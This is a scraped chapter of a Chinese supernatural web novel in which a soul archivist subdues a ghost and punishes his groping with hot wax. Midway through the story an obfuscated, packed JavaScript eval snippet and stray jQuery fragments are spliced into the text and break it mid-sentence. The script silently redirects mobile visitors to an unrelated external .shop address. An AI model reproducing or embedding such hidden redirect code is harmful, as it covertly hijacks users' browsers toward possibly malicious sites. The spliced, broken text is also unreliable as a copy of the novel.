文趣网 > 其他小说 > 鬼档 > 14. “绅士”
    窗外天已大亮,几只小鸟抖动翅膀,从电线杆上离开,飞到窗外那颗瘦小的树上,舔了舔毛,立在枝稍上叽叽喳喳叫唤。迟归伸伸懒腰,睡眼惺忪地从床上坐起,揉揉乱蓬蓬的头发,猛地把朱笔甩出去。

    朱笔通身金光波纹频频流转,笔尖的朱红色仿佛欲滴的血液,气势汹汹破开卧室门,绕着客厅来回打转,乒乒乓乓一顿响。

    “哎呦!是我!别打了。”辞妄终于抓住笔杆,抱头走进卧室,将手中的朱笔扔回去,“太阳晒屁股喽,还睡。”

    “私闯民宅,我报警抓你。”迟归接过扔过来的朱笔,冷冷说。

    “报警有用吗?我一溜烟就没了。”辞妄毫不在意,靠在门上把玩折扇。

    “出什么事了?”

    “没出事不能来找你吗?”

    “不能。”迟归又丢出朱笔,笔杆直奔向辞妄脑门,他敏捷往后一退,朱笔打在门上,门瞬间关上,辞妄被堵在门外,朱笔原地转圈后折返回来,稳稳落在迟归手边,“外面等我。”

    几分钟后,迟归从房间出来,倒了杯热水坐到沙发上小口抿着:“说。”

    “我前几天用引魂术追几个魂魄,但最后跟丢了。”

    迟归淡淡睨他一眼,“这么没用吗?”

    “你自己试一试就知道了。”

    “我魂力不够,用不起来。”

    “那几个魂魄滞留挺久的,吸了不少生魂,狡猾得很。”辞妄一改之前跳脱的模样,语气沉重,“还赔了几个新飞升的阴档员。”

    “什么叫赔了几个阴档员?”迟归抿唇皱眉,严肃地问。

    “我们追着魂魄到了一座废弃小学,那里应该是这些魂魄的死亡地点,他们几个魂力不够被魂魄吸进去,带去其他时空了。”辞妄顿了顿,纠结说,“你也知道,我一直都是半吊子,这种魂魄我搞不定,我只能先回来。”

    “所以,你来找我?”迟归难以置信,“你都搞不定我更没办法,我的情况你又不是不知道。”

    “本来没想找你。”

    迟归白他一眼。

    “我回地府打算告诉司主的。但是阎王最近在查办地府,亡魂丢失这么大的事,司主一直压着没告诉阎王,只能司里自己解决。你知道的,除了本就流转人间的初级阴档员,司里阴档员也被派出去了,现在司里没人,我走不开。况且初级的魂力和你区别又不大,就来找你喽。”

    辞妄一边说一边给迟归扇风,谦卑道:“离得不是很远,去一趟呗。”

    “我这里还有一个没归档的。走不开,你找别人。”迟归推开他的扇子,并不领情。

    “这个我帮你。”辞妄拍拍胸脯。

    “都收进我朱笔了。”迟归轻摇朱笔,“你如果昨天过来我就去了。”

    “不急!等你这边归档的。”

    迟归瞪他一眼,没答应。

    辞妄变出符纸,折成一个仙鹤模样放到餐桌上。

    随即化作一缕烟,扔下一句话就跑了:“你不说话我当你答应啦!到时候跟着它走!我还有事!”

    “辞妄,到时候你必须跟着我过去,不然你就死定了。”

    迟归喝完杯中的水,随手将杯子往餐桌上扔过去,杯子落在纸鹤上方,打个转压下来。纸鹤被杯子压得扁扁的,“哎呦”叫唤一声就没动静了。

    “烦。”迟归冷冷撇下一句,重新回了房间,门砰地关上。

    杯子下方的纸鹤小心翼翼伸出头,一点一点探出来,抖动几下翅膀,被压扁的身体再次填充进空气,变得鼓鼓囊囊,安静地待在餐桌上。

    卧室的窗帘是雪尼尔的,很遮光,迟归拉上窗帘,贴合好中间缝隙,室内瞬间昏暗。她在房间四角各放置一盏点燃的香烛,放出朱笔,一切妥当后捏诀念咒。

    霉味钻进迟归鼻腔,钱生的魂魄自朱笔中挣脱出,想要从不同方位逃走,但都被四角的香烛弹回来,盘旋在迟归附近似乎在考虑如何冲破牢笼。

    若是刚离体的亡魂,迟归只需要捏诀下个结界魂魄就逃不走。钱生脱离身体已经一周多,单纯的结界困不住他,在香烛的辅助下迟归才能保证魂魄跑不掉。

    钱生全身囊肿发胀,五官挤到一起,艰难地发出咿咿呀呀的怪叫,一只脚甚至还掉了半边,凸出的眼球骨碌直转,打量迟归。

    现在迟归需要先让钱生恢复理智。

    钱生没有林玲玲那么好收服,迟归拔下朱笔尖的细丝,缠绕在左手指尖,越过旁边的床铺用朱笔蘸点香烛燃烧流下的蜡油。

    钱生魂魄已经飘到迟归旁边,凸起的眼球贴过来,肥胖的鬼手妄图扭断迟归脖颈。迟归挥出朱笔,笔端的蜡油喷溅而出,烫的钱生陡然缩回手,痛得呲牙咧嘴。趁此功夫,左手指尖绕着的细丝不断蔓生,迟归调整角度,朝钱生弹去,蔓生的细丝立刻爬满钱生全身,将他紧紧裹挟起来,包成了一个粽子。迟归调转朱笔,笔杆飞出敲击钱生额头,然后绕着钱生不断盘旋。

    钱生囊肿发胀的身体开始极速扁缩,挤在一处的五官也扩张四散,恢复正常,缺失的半只脚重新生长,渐渐呈现出生前模样。

    “这是哪里?”

    迟归扯过其中一根细丝,所有细丝都汇集过来聚拢成一个小球,轻轻一捏便化作红色粉末湮灭消散,朱笔也落回她手中。

    迟归退后半步,坐到床沿边,仔细理顺朱笔尖端的细丝,开口回答他:“我家。”

    钱生:?

    “你不是人了,是亡魂。我现在需要帮你归入鬼档,好让你去重新投胎。”

    “所以你是鬼差?”

    “算是吧。”迟归耸耸肩,“不过我们有特定的称呼,阴档员。专门帮横死不入档的亡魂归档。”

    “这样啊,小美女,怎么称呼呢?”钱生肥胖的脸颊挤出笑容,似乎想极力表现的和善一点,但是看起来却很滑稽。

    “迟归。”

    “迟小姐!那我需要怎么做?”

    “你现在记得什么?”

    “记得什么?”钱生挠挠下巴,歪头思考,好一会儿才慢吞吞说,“抱歉啊,迟小姐,我什么都不记得了。只知道我叫钱生,还记得被扔到电梯里了,至于谁扔的,怎么扔的,一点记不得了。”

    “好,可以了。”迟归起身拉开窗帘,窗帘刚开了一条缝,几束阳光射进来,照到钱生脸上。

    他慌张地抬手捂脸,吓得闭上眼睛,拼命往阴影处躲,嘴里还嘟囔着:“迟小姐,难道我不记得怎么死的就要被杀掉吗?”</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508273|202709||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    “啊啊啊啊!我是不是要化了!是不是要魂飞魄散了!”

    迟归沉默着将窗帘完全拉开,屋子里完全没有丝毫阴影可以藏身。

    “怎么没有感觉?”

    “因为光对你没用。”迟归开始收拾地上的香烛。

    钱生慢慢移开双手,睁开眼睛,问道:“不是说鬼都怕阳光吗?只敢在晚上出来。”

    “那是刚离体不久,魂魄未成形。你都死多久了,昨天在电梯上普通人都能看到你的魂魄。”

    “所以现在谁都能看见我?”

    “不是,不稳定。你魂力不够无法自己控制实体,会出现偶尔被普通看见的境况,昨天就是。”

    “这样啊。”钱生恍然大悟般点头,然后飘到迟归身旁,伸手要帮迟归拿香烛。两个人几乎同时伸手拿面前的香烛,迟归抓上香烛的时候,钱生肥胖的手一把抓握住迟归。

    “断了,不过没感觉,不疼。”钱生嘿嘿一笑。

    因为,迟归十分不耐烦地卸下他的半个手臂丢到一边。

    “不要碰我。”迟归白了他一眼,拿床边柜子上的卫生纸擦手。

    钱生捡起地上的半条手臂,自己接上去,诚恳地道歉:“迟小姐,非常抱歉。下次一定注意。”

    “这里不需要你,你要不就老老实实待在那里别动,要不就回笔里。”

    “我站在这里,绝对不动,您忙!”钱生直起腰站好。

    迟归掐断燃烧的香烛,将四个都收好,然后打开卧室门去客厅。

    钱生先伸长脖子探出头东张西望,最后还是跟了出来。

    迟归将香烛托盘的香灰都倒在一起,去厨房烧开水。突然感觉一阵阴风吹过,钱生整个扑过来,眼看双手就要碰到她。

    “啧。”

    一道金光飞出捆住钱生,他扑通一声栽倒在地。

    “迟小姐,我真的不是故意的。”钱生扭动肥胖身躯,“你这个厨房有个台阶,我被绊倒了,才向你扑过来的。”

    迟归先是扫一眼厨房和餐厅处的台阶,随后目光落在钱生身上,阴沉着脸问:“所以,你就想把你油腻的双手落在我屁股上?”

    “没有!没有!意外!”钱生矢口否认,“作为一名绅士,哪怕成了鬼也不能对女生动手动脚。”

    “是吗?”迟归走到餐厅,端起桌上一直燃烧的香烛,慢慢将烛台倾斜,蜡油滴落下来,砸在钱生的手上。

    “啊!疼!疼!疼!”钱生想缩回手却无法动弹,尖声大叫喊疼。

    “你是魂魄,飘过来怎么可能被台阶绊倒。”迟归继续滴着蜡油,面上并没有表情,语气也很平淡。

    “迟…迟小姐,我…我错了,真的错了。放过我,求你了。”

    “你不是不想要这双手了吗?”迟归扶正烛台,自上而下睨着他,“在归档之前,你最好给我老实点。”

    “是,是!”钱生点着头,脸上的横肉跟着颤抖,被滴上蜡油的手已经焦黑。

    “先在这里待一会儿。”迟归并没有帮他松点束缚,给电水壶插上电后就坐到沙发上刷手机。

    打开界面,微信有一条新消息,是闻曳发来的。

    “昨天我们离开后,电梯里又有人遇难了。”